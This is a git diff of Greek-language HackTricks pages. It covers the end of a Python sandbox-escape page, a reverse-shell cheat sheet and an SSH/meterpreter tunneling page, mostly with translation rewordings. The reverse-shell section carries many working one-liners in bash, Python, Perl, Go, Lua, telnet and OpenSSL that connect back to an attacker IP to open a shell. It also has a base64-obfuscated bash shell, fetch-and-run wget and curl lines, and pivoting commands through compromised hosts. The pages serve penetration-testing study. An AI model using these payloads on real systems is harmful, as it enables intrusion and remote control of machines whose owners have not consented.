Καταρχάς, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -923,7 +950,7 @@ types.CodeType.__doc__
### Αναπαραγωγή μιας διαρρευσμένης συνάρτησης
{% hint style="warning" %}
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** που απαιτούνται για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτό που **θα χρειαστείτε να διαρρεύσετε**.
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτό που **θα χρειαστείτε να διαρρεύσετε**.
{% endhint %}
```python
fc = get_flag.__code__
@ -935,7 +962,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Αντιστροφή Αμυντικών Μέτρων
### Αντιστροφή Αμυνών
Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον επειδή μπορείτε **να εκτελέσετε ολόκληρα σενάρια** με βρόχους και τα πάντα σε μια **γραμμή κώδικα** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας το **`exec`**).\
Πάντως, μερικές φορές θα μπορούσε να είναι χρήσιμο να **δημιουργήσετε** ένα **μεταγλωττισμένο αντικείμενο** σε ένα τοπικό μηχάνημα και να το εκτελέσετε στο **μηχάνημα CTF** (για παράδειγμα επειδή δεν έχουμε τη λειτουργία `compile` στο CTF).
@ -967,7 +994,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.**
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως αποτυγχάνει με: _constructor not accessible in restricted mode_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1008,18 +1035,22 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
***
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -9,16 +9,24 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Αν έχετε ερωτήσεις σχετικά με οποιοδήποτε από αυτά τα shells μπορείτε να τα ελέγξετε με** [**https://explainshell.com/**](https://explainshell.com)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**Αν έχετε ερωτήσεις σχετικά με οποιοδήποτε από αυτά τα shells μπορείτε να τα ελέγξετε με το** [**https://explainshell.com/**](https://explainshell.com)
## Full TTY
**Μόλις αποκτήσετε ένα αντίστροφο shell**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
**Μόλις αποκτήσετε ένα αντίστροφο shell**[ **διαβάστε αυτήν τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
## Bash | sh
```bash
@ -46,9 +54,9 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
```
#### Εξήγηση Shell
1. **`bash -i`**: Αυτό το τμήμα της εντολής ξεκινά ένα διαδραστικό (`-i`) κέλυφος Bash.
2. **`>&`**: Αυτό το τμήμα της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) όσο και της **τυπικής σφάλματος** (`stderr`) προς το **ίδιο προορισμό**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στην καθορισμένη διεύθυνση IP και θύρα**.
1. **`bash -i`**: Αυτό το τμήμα της εντολής ξεκινάει ένα διαδραστικό (`-i`) κέλυφος Bash.
2. **`>&`**: Αυτό το τμήμα της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) και της **τυπικής σφάλματος** (`stderr`) προς το **ίδιο προορισμό**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**.
* Με το **ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελέσματα της διαδραστικής συνεδρίας κελύφους στον υπολογιστή του εισβολέα.
4. **`0>&1`**: Αυτό το τμήμα της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**.
@ -59,7 +67,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Προώθηση Κέλυφους
Όταν αντιμετωπίζετε μια ευπάθεια **Απομακρυσμένης Εκτέλεσης Κώδικα (RCE)** σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός αντίστροφου κελύφους μπορεί να εμποδιστεί από αμυντικά δίκτυου όπως κανόνες iptables ή περίπλοκους μηχανισμούς φιλτραρίσματος πακέτων. Σε τέτοια περιορισμένα περιβάλλοντα, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός κελύφους PTY (Ψευδοτερματικό) για να αλληλεπιδράτε πιο αποτελεσματικά με το συμβιβασμένο σύστημα.
Όταν αντιμετωπίζετε μια ευπάθεια **Απομακρυσμένης Εκτέλεσης Κώδικα (RCE)** σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός αντίστροφου κελύφους ενδέχεται να εμποδίζεται από αμυντικά δίκτυου όπως κανόνες iptables ή περίπλοκοι μηχανισμοί φιλτραρίσματος πακέτων. Σε τέτοια περιορισμένα περιβάλλοντα, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός κελύφους PTY (Ψευδοτερματικό) για να αλληλεπιδράτε αποτελεσματικότερα με το συμβιβασμένο σύστημα.
Ένα προτεινόμενο εργαλείο για αυτόν τον σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο.
@ -91,15 +99,15 @@ return response.text
```shell
toboggan -m nix.py -i
```
Για να εκμεταλλευτείτε απευθείας ένα διαδραστικό κέλυφος. Μπορείτε να προσθέσετε το `-b` για ενσωμάτωση με το Burpsuite και να αφαιρέσετε το `-i` για ένα πιο βασικό rce wrapper.
Για να εκμεταλλευτείτε απευθείας ένα διαδραστικό κέλυφος. Μπορείτε να προσθέσετε το `-b` για ολοκλήρωση με το Burpsuite και να αφαιρέσετε το `-i` για ένα πιο βασικό rce wrapper.
Μια άλλη πιθανότητα είναι η χρήση της υλοποίησης κατευθυνόμενου κελύφους `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης προώθησης κελύφους `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Απλά χρειάζεται να τροποποιήσετε:
- Το URL του ευάλωτου κεντρικού υπολογιστή
- Το πρόθεμα και το επίθεμα του φορτίου σας (αν υπάρχει)
- Ο τρόπος με τον οποίο το φορτίο αποστέλλεται (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
- Ο τρόπος με τον οποίο το φορτίο στέλνεται (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
Έπειτα, μπορείτε απλά **να στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων).
@ -119,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet είναι ένα πρωτόκολλο δικτύου που σας επιτρέπει να συνδεθείτε σε άλλους υπολογιστές στο διαδίκτυο.
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει σε έναν χρήστη να συνδεθεί σε έναν απομακρυσμένο υπολογιστή ή συσκευή και να εκτελέσει εντολές από απόσταση.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -148,7 +156,7 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
```
## Perl
Perl (Practical Extraction and Reporting Language) είναι μια γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για τη διαχείριση κειμένου και την αυτοματοποίηση διαδικασιών. Χρησιμοποιείται συχνά στον χώρο του hacking για τη δημιουργία εργαλείων και σεναρίων εκμετάλλευσης.
Perl (Practical Extraction and Reporting Language) είναι μια γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για τη διεξαγωγή εργασιών σε συστήματα Unix.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@ -186,6 +194,8 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua είναι ένα ελαφρύ, δυναμικό, ερμηνευμένο γλώσσα προγραμματισμού.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -237,7 +247,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL
Ο Επιτιθέμενος (Kali)
Ο Εισβολέας (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
@ -255,7 +265,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Δέσιμο κέλυφους
### Bind shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
@ -287,7 +297,41 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
### Εισαγωγή
Το Gawk είναι ένα ισχυρό εργαλείο για την επεξεργασία κειμένου και τη δημιουργία αναφορών. Μπορεί να χρησιμοποιηθεί για την ανάλυση και επεξεργασία αρχείων κειμένου, καθώς και για την εκτέλεση προηγμένων εργασιών επεξεργασίας δεδομένων.
Το Gawk είναι ένα ισχυρό εργαλείο για την επεξεργασία κειμένου και τη δημιουργία αναφορών. Μπορεί να χρησιμοποιηθεί για την ανάλυση και επεξεργασία αρχείων κειμένου, καθώς και για την εκτέλεση απλών βασικών εντολών σε σενάρια shell.
### Βασική σύνταξη
Η βασική σύνταξη του Gawk είναι:
```bash
gawk 'pattern { action }' file
```
όπου:
- `pattern` αντιπροσωπεύει το πρότυπο που πρέπει να ταιριάζει με τις γραμμές του αρχείου
- `action` αντιπροσωπεύει την ενέργεια που πρέπει να εκτελεστεί όταν το πρότυπο ταιριάζει
- `file` είναι το αρχείο που θα επεξεργαστεί το Gawk
### Παραδείγματα
Παρακάτω παρουσιάζονται μερικά παραδείγματα χρήσης του Gawk:
1. Εκτύπωση όλων των γραμμών ενός αρχείου:
```bash
gawk '{ print }' file.txt
```
2. Εκτύπωση της πρώτης στήλης κάθε γραμμής:
```bash
gawk '{ print $1 }' file.txt
```
3. Υπολογισμός του αθροίσματος μιας στήλης:
```bash
gawk '{ sum += $1 } END { print sum }' file.txt
```
Με τη χρήση του Gawk, μπορείτε να εκτελέσετε πολλαπλές ενέργειες επεξεργασίας κειμένου με απλό και αποτελεσματικό τρόπο.
```bash
#!/usr/bin/gawk -f
@ -339,6 +383,12 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -348,7 +398,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

File diff suppressed because one or more lines are too long

View file

@ -2,25 +2,33 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Συμβουλή Nmap
{% hint style="warning" %}
Οι σάρωσεις **ICMP** και **SYN** δεν μπορούν να διαβιβαστούν μέσω socks proxies, γι 'αυτό πρέπει να **απενεργοποιήσουμε την ανακάλυψη ping** (`-Pn`) και να καθορίσουμε **σαρώσεις TCP** (`-sT`) για να λειτουργήσει αυτό.
Οι σάρωσεις **ICMP** και **SYN** δεν μπορούν να τουνελιστούν μέσω socks proxies, οπότε πρέπει να **απενεργοποιήσουμε την ανακάλυψη ping** (`-Pn`) και να καθορίσουμε **σάρωσεις TCP** (`-sT`) για να λειτουργήσει αυτό.
{% endhint %}
## **Bash**
**Φιλοξενητής -> Άλμα -> ΕσωτερικόΑ -> ΕσωτερικόΒ**
**Κεντρικός Υπολογιστής -> Άλμα -> ΕσωτερικόA -> ΕσωτερικόB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -42,9 +50,9 @@ evil-winrm -u username -i Jump
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Τοπική Μεταφορά Θύρας προς Θύρα
### Τοπική Πύλη προς Πύλη
Ανοίξτε μια νέα θύρα στον διακομιστή SSH --> Άλλη θύρα
Ανοίξτε νέα πύλη στον διακομιστή SSH --> Άλλη πύλη
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -52,9 +60,9 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
### Πόρτα προς Πόρτα
### Θύρα προς Θύρα
Τοπική πόρτα --> Παραβιασμένος υπολογιστής (SSH) --> Τρίτος_Κουτί:Πόρτα
Τοπική θύρα --> Χειρισμένος κόμβος (SSH) --> Τρίτος_κόμβος:Θύρα
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
@ -62,13 +70,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Τοπική Θύρα --> Παραβιασμένος κόμβος (SSH) --> Οπουδήποτε
Τοπική Θύρα --> Χειραγωγημένος κόμβος (SSH) --> Όπουδήποτε
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Αντίστροφη Προώθηση Θύρας
Αυτό είναι χρήσιμο για να λάβετε αντίστροφα κελύφη από εσωτερικούς υπολογιστές μέσω μιας DMZ στον δικό σας υπολογιστή:
Αυτό είναι χρήσιμο για να λάβετε αντίστροφα κελύφη από εσωτερικούς υπολογιστές μέσω μιας ζώνης ασφαλείας (DMZ) προς τον υπολογιστή σας:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -79,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
Χρειάζεστε **root σε και τις δύο συσκευές** (καθώς θα δημιουργήσετε νέες διεπαφές) και η ρύθμιση του sshd πρέπει να επιτρέπει την σύνδεση ως root:\
Χρειάζεστε **root σε και τις δύο συσκευές** (καθώς θα δημιουργήσετε νέες διεπαφές) και η διαμόρφωση του sshd πρέπει να επιτρέπει τη σύνδεση ως root:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -100,13 +108,13 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Μπορείτε να **διατρέξετε** μέσω **ssh** όλη την **κίνηση** προς ένα **υποδίκτυο** μέσω ενός κεντρικού υπολογιστή.\
Για παράδειγμα, προώθηση όλης της κίνησης που πηγαίνει στο 10.10.10.0/24
Μπορείτε να **σήραγγα** μέσω **ssh** ολη τη **κίνηση** προς ένα **υποδίκτυο** μέσω ενός κεντρικού υπολογιστή.\
Για παράδειγμα, προώθηση ολη τη κίνηση που πηγαίνει στο 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
Συνδεθείτε με ένα ιδιωτικό κλειδί
Σύνδεση με έναν ιδιωτικό κλειδί
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
@ -115,25 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Τοπική θύρα --> Παραβιασμένος υπολογιστής (ενεργή συνεδρία) --> Τρίτος υπολογιστής:Θύρα
Τοπική θύρα --> Χειρισμένος υπολογιστής (ενεργή συνεδρία) --> Τρίτος_υπολογιστής:Θύρα
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
Το SOCKS είναι ένα πρωτόκολλο που χρησιμοποιείται για τη δρομολόγηση της κίνησης δεδομένων μεταξύ δικτυακών συσκευών μέσω ενός δικτύου. Χρησιμοποιείται συχνά για τη δημιουργία τουνελισμού (tunneling) και την προώθηση θυρών (port forwarding) σε ασφαλείς συνδέσεις.
Ο τρόπος λειτουργίας του SOCKS είναι ο εξής:
1. Ο χρήστης συνδέεται σε έναν SOCKS proxy server.
2. Ο proxy server λαμβάνει το αίτημα σύνδεσης από τον χρήστη.
3. Ο proxy server συνδέεται με τον προορισμό που ζητήθηκε από τον χρήστη.
4. Ο proxy server μεταφέρει την κίνηση δεδομένων μεταξύ του χρήστη και του προορισμού.
Ο SOCKS επιτρέπει την πρόσβαση σε πόρους που είναι προστατευμένοι από φραγές δικτύου ή περιορισμούς γεωγραφικής τοποθεσίας. Επίσης, μπορεί να χρησιμοποιηθεί για την ανωνυμοποίηση της κίνησης δεδομένων και την προστασία της ιδιωτικότητας του χρήστη.
Οι επιθέσεις μέσω του SOCKS περιλαμβάνουν την εκμετάλλευση ευπαθειών στο πρωτόκολλο ή την κατάληψη του proxy server για την παρακολούθηση ή την αλλοίωση της κίνησης δεδομένων. Είναι σημαντικό να λαμβάνονται μέτρα ασφαλείας για την προστασία του SOCKS proxy server και την αποτροπή ανεπιθύμητης πρόσβασης ή κακόβουλης χρήσης.
SOCKS (Socket Secure) είναι ένα πρωτόκολλο προϋποθέσεων που επιτρέπει τη δρομολόγηση της κίνησης δικτύου μεταξύ δύο συσκευών μέσω ένος ενδιάμεσου διακομιστή.
```bash
background# meterpreter session
